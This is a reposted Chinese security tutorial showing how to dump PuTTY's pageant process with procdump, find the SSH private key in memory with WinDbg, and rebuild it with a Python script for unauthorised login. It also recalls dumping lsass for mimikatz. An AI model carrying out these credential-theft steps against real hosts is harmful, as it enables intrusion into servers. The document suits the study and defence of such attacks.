<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/8567

            0x00 前言


            眾所周知,procdump可以獲得進程的內存dump文件 最常見的用法如下:

            1、使用procdump抓取lsass進程
            2、獲得LSASS進程內存dump文件
            3、用mimikatz解析dump文件
            4、獲取主機明文密碼
            

            那么,我們是否可以大膽設想一下,能否使用procdump抓取其他進程內存文件,進而獲得內存中的敏感信息呢?

            0x01 目標


            嘗試使用procdump獲取putty ssh登錄的密鑰,實現非授權登錄目標Linux服務器

            0x02 測試環境


            目標:

            操作系統:Win7 x86
            進程:
                putty.exe: SSH 客戶端
                pageant.exe:PuTTY的SSH認證代理,用這個可以不用每次登錄輸入口令
            

            使用工具:

            procdump
            windbg 6.3.9600 
            

            0x03 環境搭建


            1、工具下載地址:

            Putty工具集:
            http://the.earth.li/~sgtatham/putty/latest/x86/putty.zip
            
            windbg 6.3.9600下載地址:
            http://download.csdn.net/detail/ytfrdfiw/8182431
            

            2、主機環境配置

            (1)生成密匙

            在目標主機運行puttygen.exe,選擇需要的密匙類型和長度,使用默認的SSH2(RSA),長度設置為1024 點擊Save private key 保存公私鑰

            如圖

            這里寫圖片描述

            (2)上傳公鑰

            登錄Linux服務器,然后執行如下命令:

            $ cd ~
            $ mkdir .ssh
            $ chmod 700 .ssh
            $ cd .ssh
            $ cat > authorized_keys
            粘貼公鑰
            $ chmod 600 authorized_keys
            

            如圖

            這里寫圖片描述

            (3)導入私鑰實現自動登錄

            運行pageant導入私鑰,運行putty.exe自動登錄

            如圖

            這里寫圖片描述

            這里寫圖片描述

            Tips:

            出現PuTTY:server refused our key無法自動登錄的解決方法:

            禁用系統的selinux功能,命令#setenforce 0

            0x04 實際測試


            1、獲取進程pageant的內存文件

            執行:

            Procdump.exe -accepteula -ma pageant.exe lsass5putty.dmp
            

            如圖

            這里寫圖片描述

            2、使用WinDBG定位內存文件

            使用Windbg加載lsass5putty.dmp文件,alt+5查看內存信息

            Tips:

            WinDbg需要作如下設置:
            運行WinDbg->菜單->File->Symbol File Path
            在 彈出的框中輸入“C:\MyCodesSymbols; SRV*C:\MyLocalSymbols*http://msdl.microsoft.com/download/symbols”(按照這樣設置,WinDbg將先從本地文件夾C:\MyCodesSymbols中查找Symbol,如果找不到,則自動從MS的Symbol Server上下載Symbols,文件夾C:\MyCodesSymbols需要提前建立)
            否則會出現ERROR: Symbol file could not be found
            

            (1)查看starting offset

            定位00420d2c

            如圖

            這里寫圖片描述

            說明:

            00420d2c為變量ssh2keys固定的起始地址

            后面提到的結構體參照源碼中的tree234.csshpubk.c文件,

            研究具體結構執行過程參照c源碼就好

            源碼下載地址:

            http://tartarus.org/~simon/putty-snapshots/putty-src.zip

            (2)查看tree234_Tag

            定位01361f10

            如圖

            這里寫圖片描述

            struct tree234_Tag{
                node234 *root=013607c0;
                cmpfn234 cmp=0040f0a5;
            };
            

            (3)查看node234_Tag

            定位013607c0

            如圖

            這里寫圖片描述

            struct node234_Tag{
                node234 *parent=00000000;
                node234 *kids[4]={00000000,00000000,00000000,00000000};
                int counts[4]={00000000,00000000,00000000,00000000};
                void *elems[3]={01364fc8,00000000,00000000};
            };
            

            (4)查看elems[0]

            定位01364fc8

            如圖

            這里寫圖片描述

            struct ssh2_userkey{
                const struct ssh_signkey *alg=0041c83c;
                void *data=01360b30;
                char *comment=01360858;
            };
            

            (5)確認是否找到ssh2_userkey,查看*comment

            定位01360858

            如圖

            這里寫圖片描述

            發現字符rsa-key-20150908

            (6)查看RSAKey,即*data

            定位01360b30

            如圖

            這里寫圖片描述

            struct RSAKey{
                int bits=01363f38;
                int bytes=013600c4;
                Bignum modulus=01360b70;
                Bignum exponent=01360b60;
                Bignum private_expinent=01363f38;
                Bignum p=01363fc8;
                Bignum q=01364018;
                Bignum iqmp=01364068;
                char *comment=00000000;
            };
            

            (7)獲取RSA key

            RSA key格式:

            Construct an RSA key object from a tuple of valid RSA components.
            See RSAImplementation.construct.
            
            Parameters:
             tup (tuple) - A tuple of long integers, with at least 2 and no more than 6 items. The items come in the following order:
            
             RSA modulus (n).
             Public exponent (e).
             Private exponent (d). Only required if the key is private.
             First factor of n (p). Optional.
             Second factor of n (q). Optional.
             CRT coefficient, (1/p) mod q (u). Optional.
            Returns:
             An RSA key object (_RSAobj).
            

            RSA modulus:

            定位01360b70

            如圖

            這里寫圖片描述

            第一位00000020表示讀取長度,轉為10進制為32,讀取長度為32

            RSA modulus

            004b8e2f be2db5f7 575b3f42 3b9b6774 f0924e40 1418b4a9 7af433cf
            4df68526 e2866be4 6ba6a84d b49941c8 ea8462d9 b5ca8e6d 555a0f1b 3b084437
            066a5319 65a69b95 c596daa8 ab89949e 1823d812 cdff4adb 6efe09cc 003d765c
            925d10c5 2aabc14e 71f7621d fa84e9ed 8d8da1b0 9a156896 c41a0d2f b95f8c7d
            5aa2ae5a
            

            Public exponent:

            定位01360b60

            如圖

            這里寫圖片描述

            第一位00000001表示讀取長度,轉為10進制為1,讀取長度為1

            Public exponent為0x25

            Private exponent:

            定位01363f38

            如圖

            這里寫圖片描述

            第一位00000020表示讀取長度,轉為10進制為32,讀取長度為32

            Private exponent為

            6c5c9ead 1f5b1e50 47b1b98e 231ed4b9 a2319931 24f1ebda 9650c9fd
            44735efe 7dce99ee de1bb6d9 b6e28e4b ad7f096a 0fa86baf 1f9ffb4d de181a88
            fedb8599 47efbf03 d4e866c6 04a2da80 6f5aea2a 51acf42f 02fff26d e454b02c
            8e558ad4 2aaab232 4159b68b e42d1b14 1f805e50 1fd710aa 88c26f0f 12d911a2
            02731978
            

            (8)生成RSA key

            import sys
            import base64
            from Crypto.PublicKey import RSA
            
            def string_to_long(data):
                data = data.split(' ')
                data.reverse()
                return long(("".join(data)),16)
            
            if __name__ == "__main__":
                #setup the primitives
                rsamod = string_to_long('004b8e2f be2db5f7 575b3f42 3b9b6774 f0924e40 1418b4a9 7af433cf 4df68526 e2866be4  6ba6a84d b49941c8 ea8462d9 b5ca8e6d 555a0f1b 3b084437 066a5319 65a69b95 c596daa8 ab89949e 1823d812 cdff4adb 6efe09cc 003d765c 925d10c5 2aabc14e 71f7621d fa84e9ed 8d8da1b0 9a156896 c41a0d2f b95f8c7d 5aa2ae5a')
                rsapubexp = long(0x25)
                rsaprivexp = string_to_long('6c5c9ead 1f5b1e50 47b1b98e 231ed4b9 a2319931 24f1ebda 9650c9fd 44735efe 7dce99ee de1bb6d9 b6e28e4b ad7f096a 0fa86baf 1f9ffb4d de181a88 fedb8599 47efbf03 d4e866c6 04a2da80 6f5aea2a 51acf42f 02fff26d e454b02c 8e558ad4 2aaab232 4159b68b e42d1b14 1f805e50 1fd710aa 88c26f0f 12d911a2 02731978')
                rawkey = (rsamod,rsapubexp,rsaprivexp)
                #construct the desired RSA key
                rsakey = RSA.construct(rawkey)
                #print the object, publickey, privatekey
                print rsakey    
                print rsakey.publickey().exportKey('PEM')
                print rsakey.exportKey('PEM')
                print 'OpenSSH format Public:'
                print rsakey.publickey().exportKey('OpenSSH')
            

            保存為a.py后執行得到公私鑰

            如圖

            這里寫圖片描述

            同puttygen.exe生成的公鑰做對比

            如圖

            這里寫圖片描述

            Tips:

            此段python腳本使用print rsakey.publickey().exportKey('OpenSSH')輸出驗證公鑰的正確
            私鑰無法使用print rsakey.exportKey('OpenSSH')輸出
            

            原因如下:

            如圖

            這里寫圖片描述

            3、利用獲取的私鑰遠程登錄

            0x05 補充


            https://blog.netspi.com/stealing-unencrypted-ssh-agent-keys-from-memory/
            http://www.oschina.net/translate/stealing-unencrypted-ssh-agent-keys-from-memory
            http://drops.wooyun.org/tips/2719
            

            如上鏈接,之前有人介紹過“從內存中竊取未加密的SSH-agent密鑰”,但該方法是針對linxu環境的內存dump,通過python腳本直接解析 而本文實例是對windows下使用procdump抓取進程內存文件,進而獲得內存中的敏感信息的一種嘗試探索,全部操作過程完全可以使用一個py文件實現。 參考鏈接:

            http://www.poluoluo.com/server/201107/138424.html
            http://blog.sina.com.cn/s/blog_5f5e2ce50101788l.html
            https://www.dlitz.net/software/pycrypto/api/current/
            https://diablohorn.wordpress.com/2015/09/04/discovering-the-secrets-of-a-pageant-minidump/
            

            0x06 小結


            本文僅測試了putty&pageant的內存密鑰獲取,證明了思路的正確 更多測試持續進行中

            本文由三好學生原創并首發于烏云知識庫,轉載請注明

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线